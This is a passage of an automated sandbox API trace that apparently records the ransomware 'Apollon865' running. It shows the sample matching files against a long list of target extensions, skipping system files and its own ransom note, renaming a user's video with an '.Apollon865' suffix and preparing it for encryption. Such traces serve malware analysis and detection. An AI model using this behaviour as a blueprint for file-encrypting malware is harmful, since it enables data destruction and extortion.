	[0086.755] lstrlenW (lpString="rsd") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="rsd") returned -1
	[0086.755] lstrlenW (lpString="sas7bdat") returned 8
	[0086.755] lstrcmpiW (lpString1="NImm.flv", lpString2="sas7bdat") returned -1
	[0086.755] lstrlenW (lpString="sbf") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="sbf") returned -1
	[0086.755] lstrlenW (lpString="scx") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="scx") returned -1
	[0086.755] lstrlenW (lpString="sdb") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="sdb") returned -1
	[0086.755] lstrlenW (lpString="sdc") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="sdc") returned -1
	[0086.755] lstrlenW (lpString="sdf") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="sdf") returned -1
	[0086.755] lstrlenW (lpString="sis") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="sis") returned -1
	[0086.755] lstrlenW (lpString="spq") returned 3
	[0086.755] lstrcmpiW (lpString1="flv", lpString2="spq") returned -1
	[0086.755] lstrlenW (lpString="te") returned 2
	[0086.755] lstrcmpiW (lpString1="lv", lpString2="te") returned -1
	[0086.756] lstrlenW (lpString="teacher") returned 7
	[0086.756] lstrcmpiW (lpString1="Imm.flv", lpString2="teacher") returned -1
	[0086.756] lstrlenW (lpString="tmd") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="tmd") returned -1
	[0086.756] lstrlenW (lpString="tps") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="tps") returned -1
	[0086.756] lstrlenW (lpString="trc") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.756] lstrlenW (lpString="trc") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.756] lstrlenW (lpString="trm") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="trm") returned -1
	[0086.756] lstrlenW (lpString="udb") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="udb") returned -1
	[0086.756] lstrlenW (lpString="udl") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="udl") returned -1
	[0086.756] lstrlenW (lpString="usr") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="usr") returned -1
	[0086.756] lstrlenW (lpString="v12") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="v12") returned -1
	[0086.756] lstrlenW (lpString="vis") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="vis") returned -1
	[0086.756] lstrlenW (lpString="vpd") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="vpd") returned -1
	[0086.756] lstrlenW (lpString="vvv") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="vvv") returned -1
	[0086.756] lstrlenW (lpString="wdb") returned 3
	[0086.756] lstrcmpiW (lpString1="flv", lpString2="wdb") returned -1
	[0086.756] lstrlenW (lpString="wmdb") returned 4
	[0086.756] lstrcmpiW (lpString1=".flv", lpString2="wmdb") returned -1
	[0086.756] lstrlenW (lpString="wrk") returned 3
	[0086.757] lstrcmpiW (lpString1="flv", lpString2="wrk") returned -1
	[0086.757] lstrlenW (lpString="xdb") returned 3
	[0086.757] lstrcmpiW (lpString1="flv", lpString2="xdb") returned -1
	[0086.757] lstrlenW (lpString="xld") returned 3
	[0086.757] lstrcmpiW (lpString1="flv", lpString2="xld") returned -1
	[0086.757] lstrlenW (lpString="xmlff") returned 5
	[0086.757] lstrcmpiW (lpString1="m.flv", lpString2="xmlff") returned -1
	[0086.757] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hMdjSkNImm.flv.Apollon865") returned 68
	[0086.757] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hMdjSkNImm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\hmdjsknimm.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hMdjSkNImm.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\hmdjsknimm.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hMdjSkNImm.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\hmdjsknimm.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.759] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=51079) returned 1
	[0086.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.760] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.760] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.760] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.761] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca90, lpName=0x0) returned 0x15c
	[0086.761] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca90) returned 0x100000
	[0086.763] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.763] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.764] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.764] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.765] CloseHandle (hObject=0x15c) returned 1
	[0086.765] CloseHandle (hObject=0x9c) returned 1
	[0086.766] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.766] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.766] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.766] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301ad4f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.766] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.766] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18f8700, ftCreationTime.dwHighDateTime=0x1d4cb53, ftLastAccessTime.dwLowDateTime=0x820e9950, ftLastAccessTime.dwHighDateTime=0x1d4ca7b, ftLastWriteTime.dwLowDateTime=0x820e9950, ftLastWriteTime.dwHighDateTime=0x1d4ca7b, nFileSizeHigh=0x0, nFileSizeLow=0x17c02, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hUhIX4W.swf", cAlternateFileName="")) returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="Apollon865.txt.exe") returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".") returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="..") returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="windows") returned -1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="bootmgr") returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="temp") returned -1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="pagefile.sys") returned -1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="boot") returned 1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="ids.txt") returned -1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="ntuser.dat") returned -1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="perflogs") returned -1
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2="MSBuild") returned -1
	[0086.767] lstrlenW (lpString="hUhIX4W.swf") returned 11
	[0086.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hMdjSkNImm.flv") returned 57
	[0086.767] lstrcpyW (in: lpString1=0x119e65e, lpString2="hUhIX4W.swf" | out: lpString1="hUhIX4W.swf") returned="hUhIX4W.swf"
	[0086.767] lstrlenW (lpString="hUhIX4W.swf") returned 11
	[0086.767] lstrlenW (lpString="Apollon865") returned 10
	[0086.767] lstrcmpiW (lpString1="UhIX4W.swf", lpString2="Apollon865") returned 1
	[0086.767] lstrlenW (lpString=".dll") returned 4
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".dll") returned 1
	[0086.767] lstrlenW (lpString=".lnk") returned 4
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".lnk") returned 1
	[0086.767] lstrlenW (lpString=".ini") returned 4
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".ini") returned 1
	[0086.767] lstrlenW (lpString=".sys") returned 4
	[0086.767] lstrcmpiW (lpString1="hUhIX4W.swf", lpString2=".sys") returned 1
	[0086.767] lstrlenW (lpString="hUhIX4W.swf") returned 11
	[0086.767] lstrlenW (lpString="bak") returned 3
	[0086.767] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1
	[0086.768] lstrlenW (lpString="ba_") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1
	[0086.768] lstrlenW (lpString="dbb") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1
	[0086.768] lstrlenW (lpString="vmdk") returned 4
	[0086.768] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1
	[0086.768] lstrlenW (lpString="rar") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1
	[0086.768] lstrlenW (lpString="zip") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1
	[0086.768] lstrlenW (lpString="tgz") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1
	[0086.768] lstrlenW (lpString="vbox") returned 4
	[0086.768] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1
	[0086.768] lstrlenW (lpString="vdi") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1
	[0086.768] lstrlenW (lpString="vhd") returned 3
	[0086.768] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1
	[0086.768] lstrlenW (lpString="vhdx") returned 4
	[0086.768] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1
	[0086.768] lstrlenW (lpString="avhd") returned 4
	[0086.768] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1
	[0086.768] lstrlenW (lpString="db") returned 2
	[0086.769] lstrcmpiW (lpString1="wf", lpString2="db") returned 1
	[0086.769] lstrlenW (lpString="db2") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1
	[0086.769] lstrlenW (lpString="db3") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1
	[0086.769] lstrlenW (lpString="dbf") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1
	[0086.769] lstrlenW (lpString="mdf") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1
	[0086.769] lstrlenW (lpString="mdb") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1
	[0086.769] lstrlenW (lpString="sql") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1
	[0086.769] lstrlenW (lpString="sqlite") returned 6
	[0086.769] lstrcmpiW (lpString1="4W.swf", lpString2="sqlite") returned -1
	[0086.769] lstrlenW (lpString="sqlite3") returned 7
	[0086.769] lstrcmpiW (lpString1="X4W.swf", lpString2="sqlite3") returned 1
	[0086.769] lstrlenW (lpString="sqlitedb") returned 8
	[0086.769] lstrcmpiW (lpString1="IX4W.swf", lpString2="sqlitedb") returned -1
	[0086.769] lstrlenW (lpString="xml") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1
	[0086.769] lstrlenW (lpString="$er") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1
	[0086.769] lstrlenW (lpString="4dd") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1
	[0086.769] lstrlenW (lpString="4dl") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1
	[0086.769] lstrlenW (lpString="^^^") returned 3
	[0086.769] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1
	[0086.769] lstrlenW (lpString="abs") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1
	[0086.770] lstrlenW (lpString="abx") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1
	[0086.770] lstrlenW (lpString="accdb") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accdb") returned 1
	[0086.770] lstrlenW (lpString="accdc") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accdc") returned 1
	[0086.770] lstrlenW (lpString="accde") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accde") returned 1
	[0086.770] lstrlenW (lpString="accdr") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accdr") returned 1
	[0086.770] lstrlenW (lpString="accdt") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accdt") returned 1
	[0086.770] lstrlenW (lpString="accdw") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accdw") returned 1
	[0086.770] lstrlenW (lpString="accft") returned 5
	[0086.770] lstrcmpiW (lpString1="W.swf", lpString2="accft") returned 1
	[0086.770] lstrlenW (lpString="adb") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.770] lstrlenW (lpString="adb") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.770] lstrlenW (lpString="ade") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1
	[0086.770] lstrlenW (lpString="adf") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1
	[0086.770] lstrlenW (lpString="adn") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1
	[0086.770] lstrlenW (lpString="adp") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1
	[0086.770] lstrlenW (lpString="alf") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1
	[0086.770] lstrlenW (lpString="ask") returned 3
	[0086.770] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1
	[0086.770] lstrlenW (lpString="btr") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1
	[0086.771] lstrlenW (lpString="cat") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1
	[0086.771] lstrlenW (lpString="cdb") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1
	[0086.771] lstrlenW (lpString="ckp") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1
	[0086.771] lstrlenW (lpString="cma") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1
	[0086.771] lstrlenW (lpString="cpd") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1
	[0086.771] lstrlenW (lpString="dacpac") returned 6
	[0086.771] lstrcmpiW (lpString1="4W.swf", lpString2="dacpac") returned -1
	[0086.771] lstrlenW (lpString="dad") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1
	[0086.771] lstrlenW (lpString="dadiagrams") returned 10
	[0086.771] lstrcmpiW (lpString1="UhIX4W.swf", lpString2="dadiagrams") returned 1
	[0086.771] lstrlenW (lpString="daschema") returned 8
	[0086.771] lstrcmpiW (lpString1="IX4W.swf", lpString2="daschema") returned 1
	[0086.771] lstrlenW (lpString="db-journal") returned 10
	[0086.771] lstrcmpiW (lpString1="UhIX4W.swf", lpString2="db-journal") returned 1
	[0086.771] lstrlenW (lpString="db-shm") returned 6
	[0086.771] lstrcmpiW (lpString1="4W.swf", lpString2="db-shm") returned -1
	[0086.771] lstrlenW (lpString="db-wal") returned 6
	[0086.771] lstrcmpiW (lpString1="4W.swf", lpString2="db-wal") returned -1
	[0086.771] lstrlenW (lpString="dbc") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1
	[0086.771] lstrlenW (lpString="dbs") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1
	[0086.771] lstrlenW (lpString="dbt") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1
	[0086.771] lstrlenW (lpString="dbv") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1
	[0086.771] lstrlenW (lpString="dbx") returned 3
	[0086.771] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1
	[0086.772] lstrlenW (lpString="dcb") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1
	[0086.772] lstrlenW (lpString="dct") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1
	[0086.772] lstrlenW (lpString="dcx") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1
	[0086.772] lstrlenW (lpString="ddl") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1
	[0086.772] lstrlenW (lpString="dlis") returned 4
	[0086.772] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1
	[0086.772] lstrlenW (lpString="dp1") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dp1") returned 1
	[0086.772] lstrlenW (lpString="dqy") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dqy") returned 1
	[0086.772] lstrlenW (lpString="dsk") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dsk") returned 1
	[0086.772] lstrlenW (lpString="dsn") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dsn") returned 1
	[0086.772] lstrlenW (lpString="dtsx") returned 4
	[0086.772] lstrcmpiW (lpString1=".swf", lpString2="dtsx") returned -1
	[0086.772] lstrlenW (lpString="dxl") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="dxl") returned 1
	[0086.772] lstrlenW (lpString="eco") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="eco") returned 1
	[0086.772] lstrlenW (lpString="ecx") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="ecx") returned 1
	[0086.772] lstrlenW (lpString="edb") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="edb") returned 1
	[0086.772] lstrlenW (lpString="epim") returned 4
	[0086.772] lstrcmpiW (lpString1=".swf", lpString2="epim") returned -1
	[0086.772] lstrlenW (lpString="fcd") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="fcd") returned 1
	[0086.772] lstrlenW (lpString="fdb") returned 3
	[0086.772] lstrcmpiW (lpString1="swf", lpString2="fdb") returned 1
	[0086.773] lstrlenW (lpString="fic") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fic") returned 1
	[0086.773] lstrlenW (lpString="flexolibrary") returned 12
	[0086.773] lstrlenW (lpString="fm5") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fm5") returned 1
	[0086.773] lstrlenW (lpString="fmp") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fmp") returned 1
	[0086.773] lstrlenW (lpString="fmp12") returned 5
	[0086.773] lstrcmpiW (lpString1="W.swf", lpString2="fmp12") returned 1
	[0086.773] lstrlenW (lpString="fmpsl") returned 5
	[0086.773] lstrcmpiW (lpString1="W.swf", lpString2="fmpsl") returned 1
	[0086.773] lstrlenW (lpString="fol") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fol") returned 1
	[0086.773] lstrlenW (lpString="fp3") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fp3") returned 1
	[0086.773] lstrlenW (lpString="fp4") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fp4") returned 1
	[0086.773] lstrlenW (lpString="fp5") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fp5") returned 1
	[0086.773] lstrlenW (lpString="fp7") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fp7") returned 1
	[0086.773] lstrlenW (lpString="fpt") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="fpt") returned 1
	[0086.773] lstrlenW (lpString="frm") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="frm") returned 1
	[0086.773] lstrlenW (lpString="gdb") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1
	[0086.773] lstrlenW (lpString="gdb") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1
	[0086.773] lstrlenW (lpString="grdb") returned 4
	[0086.773] lstrcmpiW (lpString1=".swf", lpString2="grdb") returned -1
	[0086.773] lstrlenW (lpString="gwi") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="gwi") returned 1
	[0086.773] lstrlenW (lpString="hdb") returned 3
	[0086.773] lstrcmpiW (lpString1="swf", lpString2="hdb") returned 1
	[0086.774] lstrlenW (lpString="his") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="his") returned 1
	[0086.774] lstrlenW (lpString="ib") returned 2
	[0086.774] lstrcmpiW (lpString1="wf", lpString2="ib") returned 1
	[0086.774] lstrlenW (lpString="idb") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="idb") returned 1
	[0086.774] lstrlenW (lpString="ihx") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="ihx") returned 1
	[0086.774] lstrlenW (lpString="itdb") returned 4
	[0086.774] lstrcmpiW (lpString1=".swf", lpString2="itdb") returned -1
	[0086.774] lstrlenW (lpString="itw") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="itw") returned 1
	[0086.774] lstrlenW (lpString="jet") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="jet") returned 1
	[0086.774] lstrlenW (lpString="jtx") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="jtx") returned 1
	[0086.774] lstrlenW (lpString="kdb") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="kdb") returned 1
	[0086.774] lstrlenW (lpString="kexi") returned 4
	[0086.774] lstrcmpiW (lpString1=".swf", lpString2="kexi") returned -1
	[0086.774] lstrlenW (lpString="kexic") returned 5
	[0086.774] lstrcmpiW (lpString1="W.swf", lpString2="kexic") returned 1
	[0086.774] lstrlenW (lpString="kexis") returned 5
	[0086.774] lstrcmpiW (lpString1="W.swf", lpString2="kexis") returned 1
	[0086.774] lstrlenW (lpString="lgc") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="lgc") returned 1
	[0086.774] lstrlenW (lpString="lwx") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="lwx") returned 1
	[0086.774] lstrlenW (lpString="maf") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="maf") returned 1
	[0086.774] lstrlenW (lpString="maq") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="maq") returned 1
	[0086.774] lstrlenW (lpString="mar") returned 3
	[0086.774] lstrcmpiW (lpString1="swf", lpString2="mar") returned 1
	[0086.775] lstrlenW (lpString="marshal") returned 7
	[0086.775] lstrcmpiW (lpString1="X4W.swf", lpString2="marshal") returned 1
	[0086.775] lstrlenW (lpString="mas") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mas") returned 1
	[0086.775] lstrlenW (lpString="mav") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mav") returned 1
	[0086.775] lstrlenW (lpString="maw") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="maw") returned 1
	[0086.775] lstrlenW (lpString="mdbhtml") returned 7
	[0086.775] lstrcmpiW (lpString1="X4W.swf", lpString2="mdbhtml") returned 1
	[0086.775] lstrlenW (lpString="mdn") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mdn") returned 1
	[0086.775] lstrlenW (lpString="mdt") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mdt") returned 1
	[0086.775] lstrlenW (lpString="mfd") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mfd") returned 1
	[0086.775] lstrlenW (lpString="mpd") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mpd") returned 1
	[0086.775] lstrlenW (lpString="mrg") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mrg") returned 1
	[0086.775] lstrlenW (lpString="mud") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mud") returned 1
	[0086.775] lstrlenW (lpString="mwb") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="mwb") returned 1
	[0086.775] lstrlenW (lpString="myd") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="myd") returned 1
	[0086.775] lstrlenW (lpString="ndf") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="ndf") returned 1
	[0086.775] lstrlenW (lpString="nnt") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="nnt") returned 1
	[0086.775] lstrlenW (lpString="nrmlib") returned 6
	[0086.775] lstrcmpiW (lpString1="4W.swf", lpString2="nrmlib") returned -1
	[0086.775] lstrlenW (lpString="ns2") returned 3
	[0086.775] lstrcmpiW (lpString1="swf", lpString2="ns2") returned 1
	[0086.775] lstrlenW (lpString="ns3") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="ns3") returned 1
	[0086.776] lstrlenW (lpString="ns4") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="ns4") returned 1
	[0086.776] lstrlenW (lpString="nsf") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="nsf") returned 1
	[0086.776] lstrlenW (lpString="nv") returned 2
